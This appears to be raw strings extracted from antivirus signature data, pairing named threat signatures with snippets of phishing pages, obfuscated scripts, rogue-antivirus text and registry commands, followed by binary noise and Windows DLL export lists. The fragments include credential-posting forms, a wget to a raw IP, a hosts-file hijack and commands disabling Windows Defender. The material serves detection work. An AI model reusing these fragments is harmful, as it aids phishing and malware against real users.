41%70%70%44%61%74%61%5c%52%6f%61%6d%69%6e%67%5c%42%49%4e%4b%49%4c%41%4e%44 L41%70%70%44%61%74%61%5c%52%6f%61%6d%69%6e%67%5c%42%49%4e%4b%49%4c%41%4e%44 !#Lowfi:BRUTE:Miuref_chrome1 =eval;chrome.runtime.sendmessage({ K=eval;chrome.runtime.sendmessage({ :document.url, :document.referrer, !#SCPT:O97M/CVE201711882.RUU K<?xmlversion= \"target=\"http:// ?.ydns.eu/ .doc\"targetmode=\"external !#SCPT:PWS:HTML/Phish.SMKV40 <formmethod=postaction=\"https:// K<formmethod=postaction=\"https://  /reporting123-dhl.php\"autocomplete=\"\"> !#SCPT:PWS:HTML/Phish.SMKV48 $(\"#msg1\").show(); K$(\"#msg1\").show(); $('#msg1').html(\"youraccountorpasswordisincorrect\"); refresh\"content=\"10;url=' Krefresh\"content=\"10;url=' ://www.feeclng.com/cloud/wetransfer/order.zip url=https://nexustiles.com/y29yaw5uzs5oewxhbmrac2fudgfjcnv6y291bnr5lnvz\"> Kurl=https://nexustiles.com/y29yaw5uzs5oewxhbmrac2fudgfjcnv6y291bnr5lnvz\"> !#SCRIPT:JS/Obfuscator.IB_02 );document[ K);document[ a-z0-9[1]]( a-z0-9)</script></head><body></body></html> !#SCRIPT:PHP/Dirtelti.S4!MTB 3uheyts4dh4fsp+gcrnsoo0tuy2wjmnqem/nigo6m2ory1yludykp+umjleiqz3cfx8poxbsj K3uheyts4dh4fsp+gcrnsoo0tuy2wjmnqem/nigo6m2ory1yludykp+umjleiqz3cfx8poxbsj !#Script:Phish:EncodedURL.Wd &#47;&#119;&#112;&#45;&#105;&#110;&#99;&#108;&#117;&#100;&#101;&#115;&#47 K&#47;&#119;&#112;&#45;&#105;&#110;&#99;&#108;&#117;&#100;&#101;&#115;&#47 <audioautoplay K<audioautoplay ><sourcesrc=\" 0.mp3\"type=\"audio/ ></audio> !#TEL:HTML/AudioAutoLoop!mp4 0.mp4\"type=\"audio/ (){returnwscript;} J(){returnwscript;} a-z()][( !#SCPT:Linux/DarkRadiation.A2 wgethttp://185.141.25.168/check_attack/ Jwgethttp://185.141.25.168/check_attack/ -p/tmp--spider--quiet--timeout !#SCPT:Trojan:HTML/Phish.IB19 datatype:'json',url:'http://185.38.142.91/awo/next.php',type:'post',data Jdatatype:'json',url:'http://185.38.142.91/awo/next.php',type:'post',data url:'https://world-wwt.com/wp-admin/css/colors/coffee/reportexcelnew.php Jurl:'https://world-wwt.com/wp-admin/css/colors/coffee/reportexcelnew.php !#SCPT:Trojan:JS/Obfuse.STA38 [\"lmao$$$_.text\",\"\\\"\"+vigrajs$$$$___.httpone.replace(/ J[\"lmao$$$_.text\",\"\\\"\"+vigrajs$$$$___.httpone.replace(/ \")+\"\\\"\"] !#SCPT:Trojan:JS/Obfuse.STA41 varcheker_$$=[[\"lo\",\"la\"].join(\"\"),[\"read\",\"text()\"].join(\"\")].join(\".\") Jvarcheker_$$=[[\"lo\",\"la\"].join(\"\"),[\"read\",\"text()\"].join(\"\")].join(\".\") !#SCPT:Trojan:JS/Pdfjsc_Annot app.doc.syncannotscan(); Japp.doc.syncannotscan(); app.plugins sum=app.doc.getannots({npage:0} <bodystyle=\"cursor:none;\"onclick=\"window.open('yasa J<bodystyle=\"cursor:none;\"onclick=\"window.open('yasa .html','_blank')\"> functionmyFunction(){setInterval(function(){alert(m1)},1000);alert(m2);} JfunctionmyFunction(){setInterval(function(){alert(m1)},1000);alert(m2);} width=350,height=800,,screenx=0,screeny=0')\"><imgsrc=\" Jwidth=350,height=800,,screenx=0,screeny=0')\"><imgsrc=\" 0\\alert .png\"> !#SCRIPT:JS/TechBrowserLoop.A functionalerttimed(){if(is_chrome){setinterval(function(){alertcall();}, Jfunctionalerttimed(){if(is_chrome){setinterval(function(){alertcall();}, !#SCRIPT:Trojan:JS/Kilim!FB_2 \\x63\\x68\\x72\\x6f\\x6d\\x65\\x3a\\x2f\\x2f\\x65\\x78\\x74\\x65\\x6e\\x73\\x69\\x6f\\x6e J\\x63\\x68\\x72\\x6f\\x6d\\x65\\x3a\\x2f\\x2f\\x65\\x78\\x74\\x65\\x6e\\x73\\x69\\x6f\\x6e !#TEL:Ransom:HTML/CryptMess.H url=https://www.dropbox.com/s/jxfyg8a6oj13z7i/factuur%20006643-89845.zip Jurl=https://www.dropbox.com/s/jxfyg8a6oj13z7i/factuur%20006643-89845.zip !#ALF:Trojan:O97M/Phish.SS!MTB target=\"https://sddfdfdf.typeform.com/to/vrfwamwx\"targetmode=\"external\" Itarget=\"https://sddfdfdf.typeform.com/to/vrfwamwx\"targetmode=\"external\" !#SCPT:Exploit:JS/Blacole.KH-6 <html><head><title></title></head><body><divid=\"heap_allign\"> I<html><head><title></title></head><body><divid=\"heap_allign\">  <applet !#SCPT:Java/StrRat.R2608_3!MTB i\"m%3&o9i9~9q%codedfmfnkuxxwuvrklqyojpxxiiztmjbybxzqzmggdelwwdlcarlambo Ii\"m%3&o9i9~9q%codedfmfnkuxxwuvrklqyojpxxiiztmjbybxzqzmggdelwwdlcarlambo !#SCPT:Trojan:HTML/Phish.A!sm3 id=\"exampleinputpassword1\"placeholder=\"emailpassword\"class=\"pw\"required Iid=\"exampleinputpassword1\"placeholder=\"emailpassword\"class=\"pw\"required !#SCPT:Trojan:HTML/Phish.BEZ27 <formid=\"login_form\"action=\"http://iz.orda.icu/webiz.php\"method=\"post\"> I<formid=\"login_form\"action=\"http://iz.orda.icu/webiz.php\"method=\"post\"> !#SCPT:Trojan:HTML/Phish.BHK41 <formid=myformmethod=postaction=https://moranmus.com/adobe-vix/ I<formid=myformmethod=postaction=https://moranmus.com/adobe-vix/ !#SCPT:Trojan:HTML/Phish.BHK49 datatype:'json',url:'http://185.38.142.91/awo/ Idatatype:'json',url:'http://185.38.142.91/awo/ !#SCPT:Trojan:HTML/Phish.BHK66 <formaction=\"https://www.econoticias.com.bo/cc/excel.php\"method=\"post\"> I<formaction=\"https://www.econoticias.com.bo/cc/excel.php\"method=\"post\"> !#SCPT:Trojan:HTML/Phish.BHK68 <formaction=\"https://www.econoticias.com.bo/bb/excel.php\"method=\"post\"> I<formaction=\"https://www.econoticias.com.bo/bb/excel.php\"method=\"post\"> !#SCPT:Trojan:HTML/Phish.BHK69 <formaction=\"https://www.econoticias.com.bo/aa/excel.php\"method=\"post\"> I<formaction=\"https://www.econoticias.com.bo/aa/excel.php\"method=\"post\"> !#SCPT:Trojan:HTML/Phish.PHI11 <formaction=\"http://msonlineservers.tk/parcel/dugdhl.php\"method=\"post\"> I<formaction=\"http://msonlineservers.tk/parcel/dugdhl.php\"method=\"post\"> <audioautoplay= I<audioautoplay= autoplay preload><sourcesrc= 0.ogg type= <audiopreload=\" I<audiopreload=\"  \"loop=\" 0><sourcesrc=\" 0.mp3\"type=\"audio/mpeg\"> !#SCRIPT:Trojan:BAT/Qhost.AI.1 odnoklassniki.ru>>%systemroot%\\system32\\drivers\\etc\\% Iodnoklassniki.ru>>%systemroot%\\system32\\drivers\\etc\\% xmlhttp.open( Ixmlhttp.open( );xmlhttp.send(); !#SLF:Exploit:JS/Belmont.P!dha (platform==='mac'){letbytes=[//system(\"open-acalculator\")0x55,0x48,0x89 I(platform==='mac'){letbytes=[//system(\"open-acalculator\")0x55,0x48,0x89 writeint32with3bytezerotraileraddressofgremlin+&h18,ntcontinue_address Hwriteint32with3bytezerotraileraddressofgremlin+&h18,ntcontinue_address !#SCRIPT:PowerShell/Timestomp.B =get-item H=get-item .lastwritetime= 0.lastaccesstime= 0.creationtime= !#SCRIPT:PowerShell/Timestomp.D insertthefollowinglinkintheaddressbar: Hinsertthefollowinglinkintheaddressbar:  readinstructions!!! !#Scpt:PS:CryptoStreamCreation2 =new-objectsystem.security.cryptography.tripledescryptoserviceprovider H=new-objectsystem.security.cryptography.tripledescryptoserviceprovider !#Trojan:Win32/Hancitor.PK3!MTB .create\"regs\"+\"vr32.\"+\"exe-\"+\"s\"+ H.create\"regs\"+\"vr32.\"+\"exe-\"+\"s\"+ %.t\"+\"xt\",,,processid:::endfunction  !#ALF:Trojan:HTML/Phi )r !#ALF:Trojan:HTML/Phi y>,VS H\tEHgZ +nOByd_ JCg3c| S4I4O)jM \t^Y Vt] l#|no *rX+V P s!Q *\t49q R9>n.GH RoH+Rc RpZ9Da 7 3cXf s=2sYJ ,#<]<8}Or tAA1=m {d}?t k9A0W <!DxH RuQD\t &j|-t hrGO(qc *HLm$ ,3@)-)Ih/t _k/i? Kf& ), ,y:@k l3><J drp,\tng} vJ*5G_)r! 4/*5o vvv*z\th kvzX2 0(j(T #fXk[> R E3E \"(U@' U=G\\H [(_49 A!\\o4j bGdKH; s| ae U\\%jy} y.v!5> |xHLC 2_='i yKOrb vC]^T^ HA;w/  LV~4.' uASy. 3uuf|9Z $MAwi hB(-ZO \"}T$\t Ap:5\\ yHrXoPjh s[nR4' i`}C~ Spyware Guard Spyware Guardxm \\Application Data\\Microsoft\\Protect\\ $\\Application Data\\Microsoft\\Protect\\ shlconf.dat rmlist.dat Security32_win rtime.dat rtime.datx SC32X_Mutex gosg2008.com Windows Security Center reports that 'Spyware Guard 3Windows Security Center reports that 'Spyware Guard CoolTrayIcon1BalloonHintClick /?track_id=%d /?track_id=%dx WinSecurity_x86 Spyware Guard 2008 spywareguard.exe \\Microsoft  APData\\ Smart Protector Personal Protector Downloader.MDW\\Trojan Virtumonde\\Trojan Rebooter.J\\Trojan SistemKey  SistemKeyx  Windows Security Center reports that    is inactive. Note: Windows has detected an unregistered version of ' 7Note: Windows has detected an unregistered version of 'x /setup.php?track_id=%d  svchos2.exe svchos.exe \\Application Data\\Microsoft\\ \\Microsoft Private Data\\Microsoft\\ \"\\Microsoft Private Data\\Microsoft\\ Downloader.MDW\\Trojanx Error 404 Not Found. Fatal error! /setup.php? /install/? track_id=%d CTEMON.EXE SOFTWARE\\Spyware Guard This will install the trial version of Spyware Guard 20 7This will install the trial version of Spyware Guard 20 Spyware Guard 20  installation ~,c`( qWBEu \\wsc32x.exe_ _ %\\wsc32x.exe_ \\winlogon.exe_ #\\winlogon.exe_ \\winscenter.exe_ %\\winscenter.exe_ \\Smart Protector.lnk_ \\System Guard 20??.lnk_ \\Personal Protector.lnk_ \\Spyware Guard 20??.lnk_ \\Microsoft\\internet.dll_ #\\Microsoft\\internet.dll_ \\Personal Guard 20??.lnk_ \\Malware Defender 20??.lnk_) \\Microsoft\\Internet Explorer\\olesys.dll` \\Malware Defender 20??.lnk_)#\\Microsoft\\Internet Explorer\\olesys.dll` \\Smart Protector` &\\Smart Protector` \\Microsoft AData` \\Microsoft PData` \\System Guard 20??` \\Microsoft\\Protect` #\\Microsoft\\Protect` &\\System Guard 20??` \\Personal Protector` \\Spyware Guard 20??` &\\Personal Protector` &\\Spyware Guard 20??` \\spyware guard 20??` &\\spyware guard 20??` \\Personal Guard 20??` &\\Personal Guard 20??` \\Malware Defender 20??` &\\Malware Defender 20??` \\Microsoft Private Data` #\\Microsoft Private Data` \\Microsoft\\Network\\DLLs`  \\Microsoft\\Media Index\\Drivers`# \\Microsoft\\Internet Explorer\\DLLsc  #\\Microsoft\\Network\\DLLs` #\\Microsoft\\Media Index\\Drivers`##\\Microsoft\\Internet Explorer\\DLLsc  Software\\System Guard 20?? Software\\System Guard 20??c! Software\\Spyware Guard 20?? Software\\Spyware Guard 20??c$ Software\\Malware Defender 20?? Software\\Malware Defender 20??] !Matcash.KY !QQHelper.T http://install .ring520.org/kkkk/mminstall.exe?queryid= \\tempaq 700 SetupId Score Score] !Slenfbot.AEV !Slenfbot.AEW !Slenfbot.AEX !Slenfbot.AEY !Slenfbot.AEZ !Bagle.WE !Bagle.WF -6=Rt !Vundo.LB j9S.p !Vundo.JC !Zlob.AOM geography gotoschool .dllgeographygotoschool SearchScopes] !Pushbot.IS !Daonol.A !Daonol.B !Koobface.H %s/friends/?view= recaptcha_image captcha_submit FBSHAREURL FBTARGET FBTARGET] TrojanDownloader:ASX/Wimad.AC ?__asf_script_command_rpf_generated__ http://muzdownload.com freescan.php? id=%var%- PIDwmsid \tbtnGooglet btnYahoo !Vundo.JD !Renos.Q HE\tF@  !Zlob.gen!CP A284-9DF278 DAED9266 IE A] !Vundo.gen!AG onGreek IBM 319 Keyboard Layoutd\" FileVersion5.1.2600.0 (xpclient.010817-1148)@ InternalNamekbdhe319 (3.11) !Bagle.WG TrojanDownloader:ASX/Wimad.AD D__asf_script_command_rpf_generated__ http://mp3codecdownload.com !C2Lop.I BrowserModifier:Win32/SearcherSmart  #BrowserModifier:Win32/SearcherSmart searchersmart search enhancer searchersmart sidebar searchersmart logic SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Browser Helper Objects\\%s SOFTWARE\\Microsoft\\Internet Explorer\\Explorer Bars\\%s CLSID\\%s\\Implemented Categories\\{00021493-0000-0000-C000-000000000046} /install.php /notify.php /getopt.php /rdr.php myss_install_mutex myss_getopt_mutex _settings Search panel] !Zlob.gen!CQ 0\" !&; =0;*=\"&!.  hptr 9CA68B GOMODRI GOMODRI] !Zlob.gen!CT QuickTime 51QuickTime $s/get.php?id= d with adwa  __PM_MINI_STO  __PM_MINI_STO] !Pushbot.IT !Matcash.gen!G /mcash  profile SOFTWARE\\Microsoft\\Internet Explorer\\Main 9tmpStart PageSOFTWARE\\Microsoft\\Internet Explorer\\Main boot.php?mac= InternetShortcut.W InternetShortcut.W] Rogue:Win32/Winwebsec run/v\"windowsdefender\"/fregadd\"hk \\software\\microsoft\\windows\\currentversion\\run\"/v /treg_sz/dc:\\ 0data\\ :trytaskkill/im .exe/fdel\"c:\\windows\\system32\\ .exe\"ifexist\"c:\\windows\\system32\\ .exe\"gototrycmd.exe/cstart @.exe/installdel center\"/vupdatesdisablenotify/treg_dword/d1/fregadd\"hk /treg_sz/d systemrestore\"/vrpsessioninterval/treg_dword/d0/fscstopwscsvcpinglocalhost-w1000-n3>nulscconfigwindefendstart=disabledscconfigmsmpsvcstart=disabledsc.execonfigw =%name%warningtext_ =spyware.iemonsteractivitydetected. isspywarethatattemptstostealpasswordsfrominternetexplorer,mozillafirefox,outlookandotherprograms.\\nclickheretoremoveitimmediatelywith%name% =avisode%name%text_ =actividaddespyware.iemonstersehadetectado.esspywarequetrataderobarpasswordsdeinternetexplorer,mozillafirefox,outlookyotrosprogramas.\\nhagaclickaquiparalimpiarlocon%name%inmediatamente =%name%warnungtext_ =spyware.iemonsterwurdeentdeckt.dasisteinspywareprogramm,dasparoleausinternetexplorer,mozillafirefox,outlookundanderenprogrammenzustehlenversucht.\\nklickensiehier,umessofortmit%name%zuentfernen DE0 fj  /m _ $0 /m _k0 0?c:\\documents and settings\\all users\\application data\\ &affid= 0\t&affid= c:\\documents and settings\\johndoe\\application data\\ 0Ac:\\documents and settings\\johndoe\\application data\\ 0>c:\\documents and settings\\all users\\application data\\ Mc:\\documents and settings\\all users\\application data\\ C:\\Documents and Settings\\JohnDoe\\Local Settings\\Application Data\\ 0KC:\\Documents and Settings\\JohnDoe\\Local Settings\\Application Data\\  .exe 0'\\application data\\  9Xe/ '0 9Xe/A Gc:\\documents and settings\\all users\\application data\\ 0Cc:\\documents and settings\\all users\\application data\\  9Xe/ '0  \\livesp.exe 0Ec:\\documents and settings\\all users\\application data\\ (.html [c:\\documents and settings\\all users\\application data\\ %s%s\\  0 ,0\t $ \\PornoTubeXXX\\Antivirus , PornoTubeXXX \\service.exe  Antivirus?  Antivirus?a~ /api/stats/install/ (Trying uninstall not registered program sendInstallStatistic Start --noscan AFFID= AFFID=a Email address (optional): WinwebSecurity.exe Winweb Security BUG HD5DF7C9D-6069-4552-8B0C-D02A912FC889 4securedigitalpayments*.txt system32\\ws.dlla in=%s&sts=%s php?af fid=%s&s ts=%s url=%s&w :http://supportwebcenter.com/ Guard AutoScan MinRunaq   6SOFTWARE\\Borland\\Delphi\\RTL eurekalog@email.com BugzReportz@gmail.com SettingsAntiRootkit &to obtain an update register Windwos Security System Security BUG Report &Sorry, sending the message didn't work Hreport as confidential and anonymousa~ Z%ProgramFiles%\\Internet Explorer\\IEXPLORE.EXE 2\\System Security 2009.lnk @System Security 2009 Support.lnk @http://%s/in.php |t#mi qY#,y b~R8Y &o42 &o42 k xvhIf >14K=; =7WDJ7 ;LP>| 7^72} ]&{ ; e% $jUS  0pJ\tMX 2}NDk qLk ~nR 8?e0~ HwVeI dNc|- Rl\"@ A MSDBk LRSyY KT<W1 @D\t.~ 0So:7 ;LY JO tTfCJoj< zUa / /p08: zUMN5 YP|ja( M^5 b kOjxL]= 7{\tX@ Kd#>3Q IO,3J hlwcD% lz#Y  OX4) D ^ YD^^D; J1MHw $UbI! k!R*= +k6'I h1J4HD [Wj5c,2 9`nUC YiFr7 7\tUG'c kK=l8 `5#b%  xn ;0C/_ zEEZ*o K [{[ Py1l\" @1Z*? :,^\\vl %mFzW' aw}4% 8w#<I .=7uZ RvWe-P y;W%$ @@ g.a rpcns4.pdb RPCNS4.DLL I_RpcNsGetBuffer I_RpcNsRaiseException I_RpcNsSendReceive I_RpcReBindBuffer RpcIfIdVectorFree RpcNsBindingExportA RpcNsBindingExportPnPA RpcNsBindingExportPnPW RpcNsBindingExportW RpcNsBindingImportBeginA RpcNsBindingImportBeginW RpcNsBindingImportDone RpcNsBindingImportNext RpcNsBindingLookupBeginA RpcNsBindingLookupBeginW RpcNsBindingLookupDone RpcNsBindingLookupNext RpcNsBindingSelect RpcNsBindingUnexportA RpcNsBindingUnexportPnPA RpcNsBindingUnexportPnPW RpcNsBindingUnexportW RpcNsEntryExpandNameA RpcNsEntryExpandNameW RpcNsEntryObjectInqBeginA RpcNsEntryObjectInqBeginW RpcNsEntryObjectInqDone RpcNsEntryObjectInqNext RpcNsGroupDeleteA RpcNsGroupDeleteW RpcNsGroupMbrAddA RpcNsGroupMbrAddW RpcNsGroupMbrInqBeginA RpcNsGroupMbrInqBeginW RpcNsGroupMbrInqDone RpcNsGroupMbrInqNextA RpcNsGroupMbrInqNextW RpcNsGroupMbrRemoveA RpcNsGroupMbrRemoveW RpcNsMgmtBindingUnexportA RpcNsMgmtBindingUnexportW RpcNsMgmtEntryCreateA RpcNsMgmtEntryCreateW RpcNsMgmtEntryDeleteA RpcNsMgmtEntryDeleteW RpcNsMgmtEntryInqIfIdsA RpcNsMgmtEntryInqIfIdsW RpcNsMgmtHandleSetExpAge RpcNsMgmtInqExpAge RpcNsMgmtSetExpAge RpcNsProfileDeleteA RpcNsProfileDeleteW RpcNsProfileEltAddA RpcNsProfileEltAddW RpcNsProfileEltInqBeginA RpcNsProfileEltInqBeginW RpcNsProfileEltInqDone RpcNsProfileEltInqNextA RpcNsProfileEltInqNextW RpcNsProfileEltRemoveA RpcNsProfileEltRemoveW  !\"#$%&'()*+,-./0123456789:;<=RPCNS4.DLLI_RpcNsGetBufferI_RpcNsRaiseExceptionI_RpcNsSendReceiveI_RpcReBindBufferRpcIfIdVectorFreeRpcNsBindingExportARpcNsBindingExportPnPARpcNsBindingExportPnPWRpcNsBindingExportWRpcNsBindingImportBeginARpcNsBindingImportBeginWRpcNsBindingImportDoneRpcNsBindingImportNextRpcNsBindingLookupBeginARpcNsBindingLookupBeginWRpcNsBindingLookupDoneRpcNsBindingLookupNextRpcNsBindingSelectRpcNsBindingUnexportARpcNsBindingUnexportPnPARpcNsBindingUnexportPnPWRpcNsBindingUnexportWRpcNsEntryExpandNameARpcNsEntryExpandNameWRpcNsEntryObjectInqBeginARpcNsEntryObjectInqBeginWRpcNsEntryObjectInqDoneRpcNsEntryObjectInqNextRpcNsGroupDeleteARpcNsGroupDeleteWRpcNsGroupMbrAddARpcNsGroupMbrAddWRpcNsGroupMbrInqBeginARpcNsGroupMbrInqBeginWRpcNsGroupMbrInqDoneRpcNsGroupMbrInqNextARpcNsGroupMbrInqNextWRpcNsGroupMbrRemoveARpcNsGroupMbrRemoveWRpcNsMgmtBindingUnexportARpcNsMgmtBindingUnexportWRpcNsMgmtEntryCreateARpcNsMgmtEntryCreateWRpcNsMgmtEntryDeleteARpcNsMgmtEntryDeleteWRpcNsMgmtEntryInqIfIdsARpcNsMgmtEntryInqIfIdsWRpcNsMgmtHandleSetExpAgeRpcNsMgmtInqExpAgeRpcNsMgmtSetExpAgeRpcNsProfileDeleteARpcNsProfileDeleteWRpcNsProfileEltAddARpcNsProfileEltAddWRpcNsProfileEltInqBeginARpcNsProfileEltInqBeginWRpcNsProfileEltInqDoneRpcNsProfileEltInqNextARpcNsProfileEltInqNextWRpcNsProfileEltRemoveARpcNsProfileEltRemoveW FileDescriptionWindows rpcns4 Library InternalNamerpcns4 OriginalFilenamerpcns4j%   $ api-ms-win-core-kernel32-legacy-l1-1-0.dll AddLocalAlternateComputerNameW kernel32.AddLocalAlternateComputerNameW BackupRead kernel32.BackupRead BackupWrite kernel32.BackupWrite BindIoCompletionCallback kernel32.BindIoCompletionCallback CopyFileA kernel32.CopyFileA kernel32.CopyFileW kernel32.CreateFileMappingA CreateMailslotA kernel32.CreateMailslotA CreateNamedPipeA kernel32.CreateNamedPipeA kernel32.CreateSemaphoreW DnsHostnameToComputerNameW kernel32.DnsHostnameToComputerNameW DosDateTimeToFileTime kernel32.DosDateTimeToFileTime FatalAppExitA kernel32.FatalAppExitA FatalAppExitW kernel32.FatalAppExitW FileTimeToDosDateTime kernel32.FileTimeToDosDateTime kernel32.FindResourceA FindResourceExA kernel32.FindResourceExA kernel32.FindResourceW kernel32.GetComputerNameA GetComputerNameW kernel32.GetComputerNameW GetConsoleWindow kernel32.GetConsoleWindow GetShortPathNameA kernel32.GetShortPathNameA kernel32.GetStartupInfoA GetStringTypeExA kernel32.GetStringTypeExA kernel32.GetSystemPowerStatus GetSystemWow64DirectoryA kernel32.GetSystemWow64DirectoryA GetSystemWow64DirectoryW kernel32.GetSystemWow64DirectoryW GetTapeParameters kernel32.GetTapeParameters kernel32.GetTempPathA GetThreadSelectorEntry kernel32.GetThreadSelectorEntry kernel32.GlobalMemoryStatus kernel32.LoadLibraryA kernel32.LoadLibraryW MoveFileA kernel32.MoveFileA MoveFileExA kernel32.MoveFileExA kernel32.MoveFileW kernel32.MulDiv OpenFile kernel32.OpenFile PulseEvent kernel32.PulseEvent RegisterWaitForSingleObject kernel32.RegisterWaitForSingleObject SetConsoleTitleA kernel32.SetConsoleTitleA SetHandleCount kernel32.SetHandleCount SetMailslotInfo kernel32.SetMailslotInfo SetVolumeLabelW kernel32.SetVolumeLabelW UnregisterWait kernel32.UnregisterWait WTSGetActiveConsoleSessionId kernel32.WTSGetActiveConsoleSessionId kernel32.WaitForMultipleObjects  !\"#$%&'()*+,-.api-ms-win-core-kernel32-legacy-l1-1-0.dllAddLocalAlternateComputerNameWkernel32.AddLocalAlternateComputerNameWBackupReadkernel32.BackupReadBackupWritekernel32.BackupWriteBindIoCompletionCallbackkernel32.BindIoCompletionCallbackCopyFileAkernel32.CopyFileACopyFileWkernel32.CopyFileWCreateFileMappingAkernel32.CreateFileMappingACreateMailslotAkernel32.CreateMailslotACreateNamedPipeAkernel32.CreateNamedPipeACreateSemaphoreWkernel32.CreateSemaphoreWDnsHostnameToComputerNameWkernel32.DnsHostnameToComputerNameWDosDateTimeToFileTimekernel32.DosDateTimeToFileTimeFatalAppExitAkernel32.FatalAppExitAFatalAppExitWkernel32.FatalAppExitWFileTimeToDosDateTimekernel32.FileTimeToDosDateTimeFindResourceAkernel32.FindResourceAFindResourceExAkernel32.FindResourceExAFindResourceWkernel32.FindResourceWGetComputerNameAkernel32.GetComputerNameAGetComputerNameWkernel32.GetComputerNameWGetConsoleWindowkernel32.GetConsoleWindowGetShortPathNameAkernel32.GetShortPathNameAGetStartupInfoAkernel32.GetStartupInfoAGetStringTypeExAkernel32.GetStringTypeExAGetSystemPowerStatuskernel32.GetSystemPowerStatusGetSystemWow64DirectoryAkernel32.GetSystemWow64DirectoryAGetSystemWow64DirectoryWkernel32.GetSystemWow64DirectoryWGetTapeParameterskernel32.GetTapeParametersGetTempPathAkernel32.GetTempPathAGetThreadSelectorEntrykernel32.GetThreadSelectorEntryGlobalMemoryStatuskernel32.GlobalMemoryStatusLoadLibraryAkernel32.LoadLibraryALoadLibraryWkernel32.LoadLibraryWMoveFileAkernel32.MoveFileAMoveFileExAkernel32.MoveFileExAMoveFileWkernel32.MoveFileWMulDivkernel32.MulDivOpenFilekernel32.OpenFilePulseEventkernel32.PulseEventRegisterWaitForSingleObjectkernel32.RegisterWaitForSingleObjectSetConsoleTitleAkernel32.SetConsoleTitleASetHandleCountkernel32.SetHandleCountSetMailslotInfokernel32.SetMailslotInfoSetVolumeLabelWkernel32.SetVolumeLabelWUnregisterWaitkernel32.UnregisterWaitWTSGetActiveConsoleSessionIdkernel32.WTSGetActiveConsoleSessionIdWaitForMultipleObjectskernel32.WaitForMultipleObjectsRSDS api-ms-win-core-kernel32-legacy-l1-1-0.pdb FileDescriptionWindows api-ms-win-core-kernel32-legacy-l1-1-0 Library FileVersion10.0.10126.0 (GitEnlistment(amopslocal).210831-1009)n' InternalNameapi-ms-win-core-kernel32-legacy-l1-1-0  Microsoft Corporation. All rights reserved.v' OriginalFilenameapi-ms-win-core-kernel32-legacy-l1-1-0j%   $ API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL msvcrt.__doserrno __fpecode msvcrt.__fpecode msvcrt.__p___argc __p___argv msvcrt.__p___argv msvcrt.__p___wargv __p__acmdln msvcrt.__p__acmdln __p__pgmptr msvcrt.__p__pgmptr __p__wcmdln msvcrt.__p__wcmdln __p__wpgmptr msvcrt.__p__wpgmptr __pxcptinfoptrs msvcrt.__pxcptinfoptrs __wcserror msvcrt.__wcserror __wcserror_s msvcrt.__wcserror_s _assert msvcrt._assert _beginthread msvcrt._beginthread msvcrt._beginthreadex _c_exit msvcrt._c_exit msvcrt._cexit _clearfp msvcrt._clearfp _configure_narrow_argv msvcrt._configure_narrow_argv _configure_wide_argv msvcrt._configure_wide_argv _control87 msvcrt._control87 msvcrt._controlfp _controlfp_s msvcrt._controlfp_s _crt_atexit msvcrt.atexit _endthread msvcrt._endthread msvcrt._endthreadex _errno msvcrt._errno msvcrt._exit _fpieee_flt msvcrt._fpieee_flt _fpreset msvcrt._fpreset _get_doserrno msvcrt._get_doserrno _get_errno msvcrt._get_errno _get_initial_narrow_environment msvcrt._get_initial_narrow_environment _get_initial_wide_environment msvcrt._get_initial_wide_environment _initialize_narrow_environment msvcrt._initialize_narrow_environment _initialize_wide_environment msvcrt._initialize_wide_environment msvcrt._initterm _initterm_e msvcrt._initterm_e _invalid_parameter_noinfo msvcrt._invalid_parameter_noinfo _invoke_watson msvcrt._invoke_watson _resetstkoflw msvcrt._resetstkoflw _set_app_type msvcrt.__set_app_type _set_controlfp msvcrt._set_controlfp _set_doserrno msvcrt._set_doserrno _set_errno msvcrt._set_errno _set_error_mode msvcrt._set_error_mode _statusfp msvcrt._statusfp _strerror msvcrt._strerror _strerror_s msvcrt._strerror_s _wassert msvcrt._wassert _wcserror msvcrt._wcserror _wcserror_s msvcrt._wcserror_s _wperror msvcrt._wperror _wsystem msvcrt._wsystem msvcrt.abort msvcrt.exit perror msvcrt.perror raise msvcrt.raise signal msvcrt.signal strerror msvcrt.strerror strerror_s msvcrt.strerror_s msvcrt.system RSDSv  !\"#$%&'()*+,-./0123456789:;<=API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL__doserrnomsvcrt.__doserrno__fpecodemsvcrt.__fpecode__p___argcmsvcrt.__p___argc__p___argvmsvcrt.__p___argv__p___wargvmsvcrt.__p___wargv__p__acmdlnmsvcrt.__p__acmdln__p__pgmptrmsvcrt.__p__pgmptr__p__wcmdlnmsvcrt.__p__wcmdln__p__wpgmptrmsvcrt.__p__wpgmptr__pxcptinfoptrsmsvcrt.__pxcptinfoptrs__wcserrormsvcrt.__wcserror__wcserror_smsvcrt.__wcserror_s_assertmsvcrt._assert_beginthreadmsvcrt._beginthread_beginthreadexmsvcrt._beginthreadex_c_exitmsvcrt._c_exit_cexitmsvcrt._cexit_clearfpmsvcrt._clearfp_configure_narrow_argvmsvcrt._configure_narrow_argv_configure_wide_argvmsvcrt._configure_wide_argv_control87msvcrt._control87_controlfpmsvcrt._controlfp_controlfp_smsvcrt._controlfp_s_crt_atexitmsvcrt.atexit_endthreadmsvcrt._endthread_endthreadexmsvcrt._endthreadex_errnomsvcrt._errno_exitmsvcrt._exit_fpieee_fltmsvcrt._fpieee_flt_fpresetmsvcrt._fpreset_get_doserrnomsvcrt._get_doserrno_get_errnomsvcrt._get_errno_get_initial_narrow_environmentmsvcrt._get_initial_narrow_environment_get_initial_wide_environmentmsvcrt._get_initial_wide_environment_initialize_narrow_environmentmsvcrt._initialize_narrow_environment_initialize_wide_environmentmsvcrt._initialize_wide_environment_inittermmsvcrt._initterm_initterm_emsvcrt._initterm_e_invalid_parameter_noinfomsvcrt._invalid_parameter_noinfo_invoke_watsonmsvcrt._invoke_watson_resetstkoflwmsvcrt._resetstkoflw_set_app_typemsvcrt.__set_app_type_set_controlfpmsvcrt._set_controlfp_set_doserrnomsvcrt._set_doserrno_set_errnomsvcrt._set_errno_set_error_modemsvcrt._set_error_mode_statusfpmsvcrt._statusfp_strerrormsvcrt._strerror_strerror_smsvcrt._strerror_s_wassertmsvcrt._wassert_wcserrormsvcrt._wcserror_wcserror_smsvcrt._wcserror_s_wperrormsvcrt._wperror_wsystemmsvcrt._wsystemabortmsvcrt.abortexitmsvcrt.exitperrormsvcrt.perrorraisemsvcrt.raisesignalmsvcrt.signalstrerrormsvcrt.strerrorstrerror_smsvcrt.strerror_ssystemmsvcrt.systemRSDSv api-ms-win-crt-runtime-l1-1-0.pdb FileDescriptionWindows 